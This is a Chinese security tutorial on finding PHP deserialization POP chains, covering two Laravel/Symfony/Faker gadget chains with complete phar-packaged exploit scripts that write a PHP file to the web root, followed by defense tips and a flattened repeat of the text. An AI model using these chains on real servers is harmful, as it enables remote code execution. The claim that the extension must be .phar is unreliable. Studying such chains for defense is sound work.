PHP反序列化入门之寻找POP链(二)
字数 2871 2025-08-18 11:38:36

PHP反序列化POP链构造详解(二)

前言

本文是PHP反序列化POP链构造系列的第二部分,重点讲解如何通过分析代码结构寻找可利用的POP链。我们将详细分析两种不同的POP链构造方法,帮助读者深入理解PHP反序列化漏洞的利用原理。

POP链一:Dispatcher类与ShouldQueue接口

核心思路

通过PendingBroadcast类的__destruct方法触发dispatch方法调用,最终利用call_user_func实现任意代码执行。

详细分析

  1. 入口点PendingBroadcast类的__destruct方法

    • 该方法会自动调用$this->events->dispatch($this->event)
  2. 寻找dispatch方法

    • 搜索function dispatch(发现Dispatcher类的dispatchToQueue方法
    • 该方法包含关键代码:call_user_func($this->queueResolver, $command)
    • 两个参数均可控:$this->queueResolver$command
  3. 条件绕过

    • dispatch方法会调用dispatchToQueue,但需要$commandShouldQueue接口的实例
    • 搜索implements ShouldQueue找到实现类,如CallQueuedClosure
  4. 利用链构造

    • 通过ReturnCallback类的invoke方法
    • 传入StaticInvocation类的对象作为参数

完整利用代码

<?php
namespace Illuminate\Broadcasting{
    class PendingBroadcast{
        protected $events;
        protected $event;
        function __construct($events, $event){
            $this->events = $events;
            $this->event = $event;
        }
    }
    class BroadcastEvent{
        public $connection;
        public function __construct($connection) {
            $this->connection = $connection;
        }
    }
};

namespace PHPUnit\Framework\MockObject\Stub{
    class ReturnCallback {
        private $callback;
        public function __construct($callback) {
            $this->callback = $callback;
        }
    }
};

namespace PHPUnit\Framework\MockObject\Invocation{
    class StaticInvocation{
        private $parameters;
        public function __construct($parameters){
            $this->parameters = $parameters;
        }
    }
};

namespace Illuminate\Bus{
    class Dispatcher{
        protected $queueResolver;
        public function __construct($queueResolver){
            $this->queueResolver = $queueResolver;
        }
    }
};

namespace{
    $function = 'file_put_contents';
    $parameters = array('/var/www/html/11.php','<?php phpinfo();?>');
    $staticinvocation = new PHPUnit\Framework\MockObject\Invocation\StaticInvocation($parameters);
    $broadcastevent = new Illuminate\Broadcasting\BroadcastEvent($staticinvocation);
    $returncallback = new PHPUnit\Framework\MockObject\Stub\ReturnCallback($function);
    $dispatcher = new Illuminate\Bus\Dispatcher(array($returncallback,'invoke'));
    $pendingbroadcast = new Illuminate\Broadcasting\PendingBroadcast($dispatcher,$broadcastevent);
    $o = $pendingbroadcast;
    $filename = 'poc.phar';
    file_exists($filename) ? unlink($filename) : null;
    $phar=new Phar($filename);
    $phar->startBuffering();
    $phar->setStub("GIF89a<?php __HALT_COMPILER(); ?>");
    $phar->setMetadata($o);
    $phar->addFromString("foo.txt","bar");
    $phar->stopBuffering();
}

调用流程

  1. PendingBroadcast对象被销毁时调用__destruct
  2. 调用$this->events->dispatch($this->event)
  3. $this->eventsDispatcher对象,调用其dispatch方法
  4. dispatch调用dispatchToQueue方法
  5. dispatchToQueue执行call_user_func($this->queueResolver, $command)
  6. $this->queueResolver设置为array($returncallback,'invoke')
  7. 最终执行file_put_contents('/var/www/html/11.php','<?php phpinfo();?>')

POP链二:TraceableEventDispatcher与Generator类

核心思路

利用TraceableEventDispatcher类的dispatch方法,通过Generator类的__call方法最终实现任意函数调用。

详细分析

  1. 入口点PendingBroadcast类的__destruct方法

    • 调用$this->events->dispatch($this->event)
  2. 寻找dispatch方法

    • 发现TraceableEventDispatcher类的dispatch方法
    • 该方法调用preProcess($eventName)
  3. preProcess方法分析

    • 首先调用$this->dispatcher->hasListeners($eventName)
    • 然后调用$this->dispatcher->getListeners($eventName)
    • 最后调用$this->dispatcher->removeListener($eventName, $listener)
  4. 利用Generator类的__call方法

    • 设置$this->formatters['hasListeners'] = 'strlen'
    • 设置$this->formatters['getListenerPriority'] = 'file_put_contents'
    • 通过call_user_func_array实现任意函数调用
  5. 绕过条件

    • hasListeners调用返回true:设置strlen确保返回非零
    • getListeners返回数组:使用Dispatcher类实现

完整利用代码

<?php
namespace Illuminate\Events{
    class Dispatcher{
        protected $listeners;
        protected $wildcardsCache;
        public function __construct($parameter,$function){
            $this->listeners[$parameter['filename']] = array($parameter['contents']);
        }
    }
}

namespace Faker{
    class Generator{
        protected $providers;
        protected $formatters;
        public function __construct($providers,$formatters){
            $this->providers = $providers;
            $this->formatters = $formatters;
        }
    }
}

namespace Symfony\Component\EventDispatcher\Debug{
    class TraceableEventDispatcher{
        private $dispatcher;
        public function __construct($dispatcher){
            $this->dispatcher = $dispatcher;
        }
    }
}

namespace Illuminate\Broadcasting{
    class PendingBroadcast{
        protected $events;
        protected $event;
        public function __construct($events, $parameter){
            $this->events = $events;
            $this->event = $parameter['filename'];
        }
    }
}

namespace {
    $function = 'file_put_contents';
    $parameters = array('filename' => '/var/www/html/1.php','contents' => '<?php phpinfo();?>');
    $dispatcher = new \Illuminate\Events\Dispatcher($parameters,$function);
    $generator = new \Faker\Generator([$dispatcher],['hasListeners'=>'strlen','getListenerPriority'=>$function]);
    $traceableeventdispatcher = new Symfony\Component\EventDispatcher\Debug\TraceableEventDispatcher($generator);
    $pendingbroadcast = new Illuminate\Broadcasting\PendingBroadcast($traceableeventdispatcher,$parameters);
    $o = $pendingbroadcast;
    $filename = 'poc.phar';
    file_exists($filename) ? unlink($filename) : null;
    $phar=new Phar($filename);
    $phar->startBuffering();
    $phar->setStub("GIF89a<?php __HALT_COMPILER(); ?>");
    $phar->setMetadata($o);
    $phar->addFromString("foo.txt","bar");
    $phar->stopBuffering();
}

调用流程

  1. PendingBroadcast对象被销毁时调用__destruct
  2. 调用$this->events->dispatch($this->event)
  3. $this->eventsTraceableEventDispatcher对象,调用其dispatch方法
  4. dispatch调用preProcess方法
  5. preProcess调用$this->dispatcher->hasListeners($eventName)
    • $this->dispatcherGenerator对象,触发__call
    • 执行call_user_func_array('strlen', '/var/www/html/1.php')返回true
  6. preProcess调用$this->dispatcher->getListeners($eventName)
    • 通过Dispatcher类返回可控数组
  7. preProcess调用$this->dispatcher->getListenerPriority($eventName, $listener)
    • 触发Generator__call
    • 执行call_user_func_array('file_put_contents', array('/var/www/html/1.php', '<?php phpinfo();?>'))

关键知识点总结

  1. POP链构造核心

    • __destruct__wakeup等魔术方法开始
    • 寻找可控的方法调用链
    • 最终到达危险函数如call_user_funccall_user_func_array
  2. 常见利用点

    • __call魔术方法:当调用不存在的方法时触发
    • __toString:对象被当作字符串使用时触发
    • 接口实现:通过接口约束寻找可利用的实现类
  3. 绕过技巧

    • 条件判断绕过:确保方法返回需要的值
    • 参数控制:通过对象属性控制危险函数的参数
    • 链式调用:将多个类的功能串联起来
  4. PHAR利用

    • 使用PHAR文件存储序列化数据
    • 文件签名绕过:添加GIF89a等文件头
    • 文件扩展名必须为.phar

防御建议

  1. 避免反序列化用户输入的不可信数据
  2. 对魔术方法的使用保持谨慎
  3. 使用类型检查确保对象属性符合预期
  4. 考虑使用__sleep__wakeup方法进行安全控制
  5. 更新框架和库到最新版本,修复已知漏洞

通过深入理解这些POP链构造技术,安全研究人员可以更好地发现和防御反序列化漏洞,开发人员也能编写更安全的代码。

PHP反序列化POP链构造详解(二) 前言 本文是PHP反序列化POP链构造系列的第二部分,重点讲解如何通过分析代码结构寻找可利用的POP链。我们将详细分析两种不同的POP链构造方法,帮助读者深入理解PHP反序列化漏洞的利用原理。 POP链一:Dispatcher类与ShouldQueue接口 核心思路 通过 PendingBroadcast 类的 __destruct 方法触发 dispatch 方法调用,最终利用 call_user_func 实现任意代码执行。 详细分析 入口点 : PendingBroadcast 类的 __destruct 方法 该方法会自动调用 $this->events->dispatch($this->event) 寻找dispatch方法 : 搜索 function dispatch( 发现 Dispatcher 类的 dispatchToQueue 方法 该方法包含关键代码: call_user_func($this->queueResolver, $command) 两个参数均可控: $this->queueResolver 和 $command 条件绕过 : dispatch 方法会调用 dispatchToQueue ,但需要 $command 是 ShouldQueue 接口的实例 搜索 implements ShouldQueue 找到实现类,如 CallQueuedClosure 利用链构造 : 通过 ReturnCallback 类的 invoke 方法 传入 StaticInvocation 类的对象作为参数 完整利用代码 调用流程 PendingBroadcast 对象被销毁时调用 __destruct 调用 $this->events->dispatch($this->event) $this->events 是 Dispatcher 对象,调用其 dispatch 方法 dispatch 调用 dispatchToQueue 方法 dispatchToQueue 执行 call_user_func($this->queueResolver, $command) $this->queueResolver 设置为 array($returncallback,'invoke') 最终执行 file_put_contents('/var/www/html/11.php','<?php phpinfo();?>') POP链二:TraceableEventDispatcher与Generator类 核心思路 利用 TraceableEventDispatcher 类的 dispatch 方法,通过 Generator 类的 __call 方法最终实现任意函数调用。 详细分析 入口点 : PendingBroadcast 类的 __destruct 方法 调用 $this->events->dispatch($this->event) 寻找dispatch方法 : 发现 TraceableEventDispatcher 类的 dispatch 方法 该方法调用 preProcess($eventName) preProcess方法分析 : 首先调用 $this->dispatcher->hasListeners($eventName) 然后调用 $this->dispatcher->getListeners($eventName) 最后调用 $this->dispatcher->removeListener($eventName, $listener) 利用Generator类的__ call方法 : 设置 $this->formatters['hasListeners'] = 'strlen' 设置 $this->formatters['getListenerPriority'] = 'file_put_contents' 通过 call_user_func_array 实现任意函数调用 绕过条件 : hasListeners 调用返回true:设置 strlen 确保返回非零 getListeners 返回数组:使用 Dispatcher 类实现 完整利用代码 调用流程 PendingBroadcast 对象被销毁时调用 __destruct 调用 $this->events->dispatch($this->event) $this->events 是 TraceableEventDispatcher 对象,调用其 dispatch 方法 dispatch 调用 preProcess 方法 preProcess 调用 $this->dispatcher->hasListeners($eventName) $this->dispatcher 是 Generator 对象,触发 __call 执行 call_user_func_array('strlen', '/var/www/html/1.php') 返回true preProcess 调用 $this->dispatcher->getListeners($eventName) 通过 Dispatcher 类返回可控数组 preProcess 调用 $this->dispatcher->getListenerPriority($eventName, $listener) 触发 Generator 的 __call 执行 call_user_func_array('file_put_contents', array('/var/www/html/1.php', '<?php phpinfo();?>')) 关键知识点总结 POP链构造核心 : 从 __destruct 或 __wakeup 等魔术方法开始 寻找可控的方法调用链 最终到达危险函数如 call_user_func 、 call_user_func_array 等 常见利用点 : __call 魔术方法:当调用不存在的方法时触发 __toString :对象被当作字符串使用时触发 接口实现:通过接口约束寻找可利用的实现类 绕过技巧 : 条件判断绕过:确保方法返回需要的值 参数控制:通过对象属性控制危险函数的参数 链式调用:将多个类的功能串联起来 PHAR利用 : 使用PHAR文件存储序列化数据 文件签名绕过:添加GIF89a等文件头 文件扩展名必须为.phar 防御建议 避免反序列化用户输入的不可信数据 对魔术方法的使用保持谨慎 使用类型检查确保对象属性符合预期 考虑使用 __sleep 和 __wakeup 方法进行安全控制 更新框架和库到最新版本,修复已知漏洞 通过深入理解这些POP链构造技术,安全研究人员可以更好地发现和防御反序列化漏洞,开发人员也能编写更安全的代码。